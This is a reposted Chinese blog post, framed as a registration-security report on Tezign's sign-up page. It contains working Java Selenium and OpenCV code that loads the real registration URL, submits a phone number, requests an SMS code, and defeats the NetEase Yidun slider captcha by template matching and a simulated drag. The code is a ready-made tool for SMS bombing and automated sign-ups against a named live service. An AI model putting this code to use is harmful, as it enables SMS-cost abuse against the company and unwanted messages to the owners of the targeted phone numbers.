自学内容网 自学内容网

【特赞-注册安全分析报告】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 特赞 PC端注册入口

简介:特赞Tezign 的使命是用科技赋能商业和社会的想象力。正如特赞的名字所希望的:Tezign(特赞) = Tech(科技创新)+ Design(内容创意)。自2015年开始创业以来,我们始终专注于技术与创意的融合,致力于搭建创意内容的数字新基建。围绕企业内容工作流,特赞打造了连接企业内外内容生产、内容管理、内容应用的数字化平台,助力品牌以内容驱动增长。特赞已服务8000+企业,成功帮助阿里巴巴、字节跳动、联合利华、资生堂、拜耳、百威、蚂蚁金服、 平安集团、雀巢、腾讯、欧莱雅等200+ 家中大型企业搭建内容中台,升级内容战略。

在这里插入图片描述

在这里插入图片描述

二、 安全性分析报告:

采用网易的滑动行为验证方式,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上。

在这里插入图片描述

三、 测试方法:

前端界面分析为网易易盾的滑动验证码, 网上有大量现成的逆向文章及视频参考,不过我们这次不用逆向, 只是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分
在这里插入图片描述

  1. 模拟器交互部分

private NetEasyClient netEasy = new NetEasyClient("Tezign");

private final String INDEX_URL = "https://id.tezign.com/regist?app_id=tz_designer";

@Override
public RetEntity send(WebDriver driver, String areaCode, String phone) {
try {
RetEntity retEntity = new RetEntity();
driver.get(INDEX_URL);

// 输入手机号
Thread.sleep(1000);
WebElement phoneElemet = driver.findElement(By.xpath("//input[@placeholder='手机']"));
phoneElemet.sendKeys(phone);

Thread.sleep(1000);
// 获取验证码
WebElement getCodeElement = driver.findElement(By.xpath("//button[contains(text(),'发送验证码')]"));
getCodeElement.click();

Thread.sleep(1000);
netEasy.moveExec(driver, 220.0 / 320.0);

Thread.sleep(1000);
WebElement infoElement = ChromeDriverManager.waitElement(driver, By.xpath("//button[contains(text(),'s')]"), 1);
String info = (infoElement != null) ? infoElement.getText() : null;
retEntity.setMsg(info);
if (info != null && info.contains("s")) {
retEntity.setRet(0);
}
return retEntity;
} catch (Exception e) {
System.out.println("phone=" + phone + ",e=" + e.toString());
for (StackTraceElement ele : e.getStackTrace()) {
System.out.println(ele.toString());
}
return null;
} finally {
driver.manage().deleteAllCookies();
}
}


2. 距离识别


/**
 * Open Cv 图片模板匹配
 * 
 * @param tpPath
 *            模板图片路径
 * @param bgPath
 *            目标图片路径
 * @return { width, maxX }
 */
public String[] getWidth(String tpPath, String bgPath, String resultFile) {
try {
Rect rectCrop = clearWhite(tpPath);
Mat g_tem = Imgcodecs.imread(tpPath);
Mat clearMat = g_tem.submat(rectCrop);

Mat cvt = new Mat();
Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);
Mat edgesSlide = new Mat();
Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);
Mat cvtSlide = new Mat();
Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);
Imgcodecs.imwrite(tpPath, cvtSlide);

Mat g_b = Imgcodecs.imread(bgPath);
Mat edgesBg = new Mat();
Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);
Mat cvtBg = new Mat();
Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);

int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;
int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;
Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);
Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法
// 归一化相关匹配法
MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);
Point maxLoc = minMaxLoc.maxLoc;
Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);
Imgcodecs.imwrite(resultFile, cvtBg);
String width = String.valueOf(cvtSlide.cols());
String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());
System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);
return new String[] { width, maxX };
} catch (Throwable e) {
System.out.println("getWidth() " + e.toString());
logger.error("getWidth() " + e.toString());
for (StackTraceElement elment : e.getStackTrace()) {
logger.error(elment.toString());
}
return null;
}
}


  1. 轨道生成及移动算法

public boolean moveExec(WebDriver driver) {
// 获取滑动按钮
try {
WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.className("yidun_slider"), 400);
if (moveElemet == null) {
return false;
} else {
Actions actions = new Actions(driver);
actions.clickAndHold(moveElemet).perform();
}
Thread.sleep(1000);

// 获取带阴影的背景图

WebElement bg = ChromeDriverManager.waitElement(driver, By.className("yidun_bg-img"), 400);
String bUrl = bg.getAttribute("src");
if (bUrl == null) {
System.out.println("bUrl=" + bUrl);
return false;
}
// 获取小图

WebElement s = ChromeDriverManager.waitElement(driver, By.className("yidun_jigsaw"), 400);
String sUrl = s.getAttribute("src");
if (sUrl == null) {
System.out.println("sUrl=" + sUrl);
return false;
}
Map<String, String> outMap = getMoveDistance(bUrl, sUrl);
String openWidth = outMap != null ? outMap.get("width") : null;
String openDistance = outMap != null ? outMap.get("distance") : null;
// 计算匹配到的位置
int distance = (openWidth != null && openDistance != null) ? (int) (Double.parseDouble(openDistance) - Integer.parseInt(openWidth) + 2) : 0;
System.out.println("getMoveDistance() distance=" + distance + "outMap=" + outMap);
if (distance == 0) {
System.out.println("err distance=" + distance + "|openWidth=" + openWidth + ",openDistance=" + openDistance);
return false;
}

moveElemet.click();
// 滑动
ActionMove.move(driver, moveElemet, distance);
String moveStr = null;
WebElement yidunElement;
for (int i = 0; i <= 40; i++) {
yidunElement = ChromeDriverManager.waitElement(driver, By.className("yidun--light"), 400);
moveStr = (moveStr != null) ? yidunElement.getAttribute("class") : null;
if (moveStr != null && moveStr.contains("yidun--success")) {
System.out.println("succ distance=" + distance);
driver.findElement(By.id("nickname")).click();
Thread.sleep(500);
driver.findElements(By.className("sms-code")).get(1).click();
Thread.sleep(500);
break;
}
System.out.print(".");
Thread.sleep(50);
}
return true;
} catch (Exception e) {
return false;
}

}

  1. OpenCv 轮廓匹配测试样例:
    在这里插入图片描述

四丶结语

特赞Tezign 的使命是用科技赋能商业和社会的想象力。正如特赞的名字所希望的:Tezign(特赞) = Tech(科技创新)+ Design(内容创意)。自2015年开始创业以来,我们始终专注于技术与创意的融合,致力于搭建创意内容的数字新基建。围绕企业内容工作流,特赞打造了连接企业内外内容生产、内容管理、内容应用的数字化平台,助力品牌以内容驱动增长。特赞已服务8000+企业,成功帮助阿里巴巴、字节跳动、联合利华、资生堂、拜耳、百威、蚂蚁金服、 平安集团、雀巢、腾讯、欧莱雅等200+ 家中大型企业搭建内容中台,升级内容战略。 从测试来看,该网站基本采用用户比较友好的滑动验证方式, 该产品稳定并且市场占有率很高, 在一定程度上提高了用户体验, 但安全性在机器学习的今天, 已经无法应对攻击了,并且正是由于该产品通俗, 所以在网上破解的文章和教学视频也是大量存在,并且经过验证滑动产品很容易被破解, 所以除了滑动验证方式, 花样百出的产品层出不穷,但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》


原文地址:https://blog.csdn.net/weixin_44549063/article/details/142872970

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!